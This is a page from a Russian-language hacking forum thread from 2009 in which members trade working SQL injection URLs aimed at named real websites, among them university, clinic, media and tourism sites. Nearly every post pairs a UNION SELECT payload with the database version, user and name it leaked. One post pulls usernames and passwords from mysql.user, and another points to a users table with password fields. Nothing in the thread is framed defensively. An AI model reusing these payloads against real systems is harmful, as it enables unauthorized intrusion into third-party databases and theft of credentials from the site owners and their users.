SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. keng

    keng Member

    Joined:
    9 Apr 2008
    Messages:
    60
    Likes Received:
    43
    Reputations:
    8
    Code:
    http://www.maindata.info/index.php?id=-1+union+select+1--
    4.0.27-standard
    maindatask
    [email protected]
     
    1 person likes this.
  2. Amdell_13

    Amdell_13 New Member

    Joined:
    3 Jul 2009
    Messages:
    2
    Likes Received:
    1
    Reputations:
    0
    XD
     
    1 person likes this.
  3. keng

    keng Member

    Joined:
    9 Apr 2008
    Messages:
    60
    Likes Received:
    43
    Reputations:
    8
    Code:
    http://www.fibertech.jp/eng/news.php?id=-1+union+select+1,2,3,4,5,6,7,8,9--
    User: asu1340@localhost
    Version: 5.0.83
    Database: asu1340
     
    3 people like this.
  4. s0l_ir0n

    s0l_ir0n Active Member

    Joined:
    14 Mar 2009
    Messages:
    399
    Likes Received:
    144
    Reputations:
    18
    Авто рынок:
     
    #10964 s0l_ir0n, 26 Oct 2009
    Last edited: 26 Oct 2009
    4 people like this.
  5. Roston

    Roston Elder - Старейшина

    Joined:
    31 Jul 2008
    Messages:
    337
    Likes Received:
    104
    Reputations:
    8
    Code:
    http://www.standardmedia.co.ke/InsidePage.php?id=-1+union+select+1,2,3,concat_ws(0x203B20,user(),database(),version()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+--+&cid=4&ttl=Ocampo+probe+team+hires+Swahili+speakers
    user: [email protected]
    database: eastand_xp
    version: 5.0.81-community-log
     
    3 people like this.
  6. Slavuti4

    Slavuti4 Elder - Старейшина

    Joined:
    22 Jan 2009
    Messages:
    555
    Likes Received:
    482
    Reputations:
    124
    ready-rest.com(ТИЦ-50,PR-3)
    Code:
    http://www.ready-rest.com/bases.php?base_code=-24+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54
    Version():4.0.27-max-log
    Database():ready128
    User():[email protected]

    heliostour.com(ТИЦ-50,PR-1)
    Code:
    http://www.heliostour.com/index.php?content=-38+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11+--+
    Version():4.1.22-log
    Database():helio
    User():u_helio@localhost

    sevur.com.ua(ТИЦ-20,PR-3)
    Code:
    http://www.sevur.com.ua/base.php?hid=-2+union+select+concat_ws(0x3a,version(),user(),database()),2
    Version():4.1.22-standard-log
    Database():sevur_tour
    User():sevur_sevur@localhost

    crimea-tourcenter.com(ТИЦ-30,PR-2)
    Code:
    http://www.crimea-tourcenter.com/search.php?type_id=-5+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
    Version():5.0.51a-community
    Database():crimeato_crimea
    User():crimeato_crimea@localhost

    krimtek.com.ua(PR-1)
    Code:
    http://krimtek.com.ua/onenews?news=-1036+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),user(),database()),8,9,10,11,12,13,14,15,16+--+
    
    Version():4.1.22-log
    Database():krimtek
    User():u_krimtek@localhost

    stroytel.com(ТИЦ-20,PR-3)
    Code:
    http://www.stroytel.com/showmart.php?code=-12+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4
    
    Version():4.1.22-standard
    Database():stroytel_db
    User():[email protected]
     
    4 people like this.
  7. Roston

    Roston Elder - Старейшина

    Joined:
    31 Jul 2008
    Messages:
    337
    Likes Received:
    104
    Reputations:
    8
    Code:
    http://www.aratta-ukraine.com/sacred_ua.php?id=999999+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws(0x203B20,unhex(hex(user())),unhex(hex(database())),unhex(hex(version()))),12,13,14,15,16,17,18,19,20,21,22+--+
    user: root@localhost
    database: portal
    version: 5.1.7-beta
     
    1 person likes this.
  8. TELO

    TELO Member

    Joined:
    21 Jan 2009
    Messages:
    68
    Likes Received:
    44
    Reputations:
    6
    Тур оператор
    Code:
    http://www.ukrviza.vn.ua/liste.php?operation=1&nav_id=11&ware_id=-55%20Union%20Select%201,2,3,4,version%28%29,6,7,8,9,10,11,12%20--
    Version = 5.0.32-Debian_7etch3-log
    User = ukrviza@localhost
    Database = ukrviza
     
    1 person likes this.
  9. keng

    keng Member

    Joined:
    9 Apr 2008
    Messages:
    60
    Likes Received:
    43
    Reputations:
    8
    Code:
    http://accuposturesystems.com/subaccessories1.php?query=1&main_category_id=-1+union+select+1,2,3,4,5,6,7,8,9--
    Version: 5.0.81-community-log
    User: accupost@localhost
    Database: accupost_oneinchristdb
     
  10. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.seaofstories.com/title.php?id=37+UNION+SELECT+1,2,3+LIMIT+1,1

    Database Version: 5.0.86-community-log
    Database name: seaos_sos
    User name: [email protected]

    http://www.johnlaingpartnership.co.uk/newsdetail.php?article_id=286+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+FROM+users+LIMIT+1,1

    Database Version: 4.1.22-log
    Database name: jlpdb
    User name: jlpuser@localhost

    users:user_email:user_id:user_password

    админка хз де ((


    pr 6

    http://www.nescent.org/news/newsdetail.php?id=120+UNION+SELECT+1,2,3,4,5,6,7,8,9+LIMIT+1,1

    Database Version: 5.0.67-log
    Database name: events
    User name: readonly@localhost



    http://www.caup.washington.edu/Events/newsdetail.php?newsid=20+UNION+SELECT+1,2,3,4,5,6+LIMIT+1,1

    Database Version: 4.0.26-standard
    Database name: caup
    User name: caupreader@localhost


    http://www.arborcarehouston.net/newsdetail.php?id=21+UNION+SELECT+1,2,3,4,5,6,7,8,9+LIMIT+1,1

    Database Version: 4.1.22-max-log
    Database name: embark_services
    User name: [email protected]
     
    #10970 Rubaka, 27 Oct 2009
    Last edited: 27 Oct 2009
    1 person likes this.
  11. TELO

    TELO Member

    Joined:
    21 Jan 2009
    Messages:
    68
    Likes Received:
    44
    Reputations:
    6
    Информационно-аналитический журнал Морской Флот
    Code:
    http://www.morflot.su/article.php?id=1077+and+1=0+Union%20Select%20UNHEX%28HEX%28version%28%29%29%29%20,2,3%20--
    Version = 4.1.13a-nt-max-log
    User = [email protected]
    Database = 1gb_morflot
    Институт региональной прессы
    Code:
    http://www.pdi.spb.ru/article.php?id=806+and+1=0+Union+Select+1,2,UNHEX%28HEX%28version%28%29%29%29,4,5,6,7,8
    Version = 5.0.45
    User = pdi@localhost
    Database = pdi_spb_ru
     
    #10971 TELO, 27 Oct 2009
    Last edited: 27 Oct 2009
    1 person likes this.
  12. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    User: [email protected]
    Database: mlx
    Version: 5.0.18-log
     
    1 person likes this.
  13. hack-win32

    hack-win32 Member

    Joined:
    11 Oct 2009
    Messages:
    31
    Likes Received:
    37
    Reputations:
    1
    casper_richie@localhost:casper_main:5.0.81-community
    Code:
    http://www.thecasper.jp/mail.php?id=-45+union+select+concat_ws(0x3a,user(),database(),version()),2--
    

    [email protected]:aya_bpdb2:5.0.45-log

    Code:
    http://alumni.yale.edu/aya/blueprint/type.php?id=-3+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6--


    mfpseals@localhost:mfpseals:4.1.21-standard
    Code:
    http://mfpseals.com/type.php?id=-6+union+select+concat_ws(0x3a,user(),database(),version())--


    [email protected]:sstanifor:5.0.77-log

    Code:
    http://www.s-staniforth.co.uk/Type.php?id=-2+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4--
     
    3 people like this.
  14. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.artpaints.ru/firm/index.php?cat=13&subcat=-3+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7--

     
    _________________________
    6 people like this.
  15. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.furnitureforbusiness.com.au/newsDetail.php?pid=61+UNION+SELECT+1,2


    Database Version: 4.1.22
    Database name: furn4biz
    User name: furn4biz@localhost
     
    2 people like this.
  16. min7

    min7 Elder - Старейшина

    Joined:
    3 Sep 2005
    Messages:
    117
    Likes Received:
    85
    Reputations:
    11
    WOMEN.IT
    пр 6
    Code:
    http://www.[COLOR=Green]women.it[/COLOR]/casadonne/comecitrovi/ricerca/browseass.php3?record=-7+union+select+1,2,3,4,5,6,7,8,concat_ws(char(58,58),user(),database(),version()),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37--  
    women@localhost::casadonne::4.0.24_Debian-10sarge3-log
    Code:
    http://www.women.it/casadonne/comecitrovi/ricerca/browseass.php3?record=-7+union+select+1,2,3,4,5,6,7,8,concat_ws(char(58,58),user,password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+mysql.user--
     
    3 people like this.
  17. ^YaHoo^

    ^YaHoo^ Banned

    Joined:
    2 Jan 2009
    Messages:
    22
    Likes Received:
    26
    Reputations:
    0
    Code:
    http://www.star-design.org/index.php?id1=-269+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database()),6,7,8,9,10--
    4.1.25-log:stadesig@localhost:wwwstadesignru-в исходнике
     
    #10977 ^YaHoo^, 28 Oct 2009
    Last edited by a moderator: 28 Oct 2009
    1 person likes this.
  18. min7

    min7 Elder - Старейшина

    Joined:
    3 Sep 2005
    Messages:
    117
    Likes Received:
    85
    Reputations:
    11
    пр:4
    Code:
    http://www.[COLOR=Green]leproscenium.com[/COLOR]/Detail.php?IdPiece=-763+union+select+1,2,concat_ws(char(58,58),user(),database(),version()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39--  
    [email protected]::leprosceniumcom::5.0.51a-3ubuntu5.4-log
     
  19. TELO

    TELO Member

    Joined:
    21 Jan 2009
    Messages:
    68
    Likes Received:
    44
    Reputations:
    6
    Таблетки Рекицен-РД (чесно не знаю таких)
    Code:
    http://rekicen.ru/php/content.php?group=1&id=575+and+1=0+=null%20Union%20Select%20%201,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37
    gastroport_rekic@localhost::gastroport_rekic::5.0.26-log

    Смирнов Б.Л Учителя России
    Code:
    http://www.bolesmir.ru/index.php?content=books&name=dictionary_item&dictionary=thema&item_id=5+and+1=0+Union Select+1,UNHEX(HEX(version()))
    Version = 5.0.77
    User = [email protected]
    Database = mav_db ::information_schema::index_search::mav_db:mysql::newforum
     
    #10979 TELO, 29 Oct 2009
    Last edited: 29 Oct 2009
  20. keng

    keng Member

    Joined:
    9 Apr 2008
    Messages:
    60
    Likes Received:
    43
    Reputations:
    8
    Наркологическая клиника "Мегаполис Медэкспресс":

    Code:
    http://www.megamed.spb.ru/index.php?nomer=-1'+union+select+1,2,3,4,5,[b]6[/b],[b]7[/b],8,9,10,11,12/*
    Version: 5.0.26-log
    Database: engelsa150
    User: engelsa150@localhost
     
    #10980 keng, 29 Oct 2009
    Last edited: 29 Oct 2009
    1 person likes this.
Thread Status:
Not open for further replies.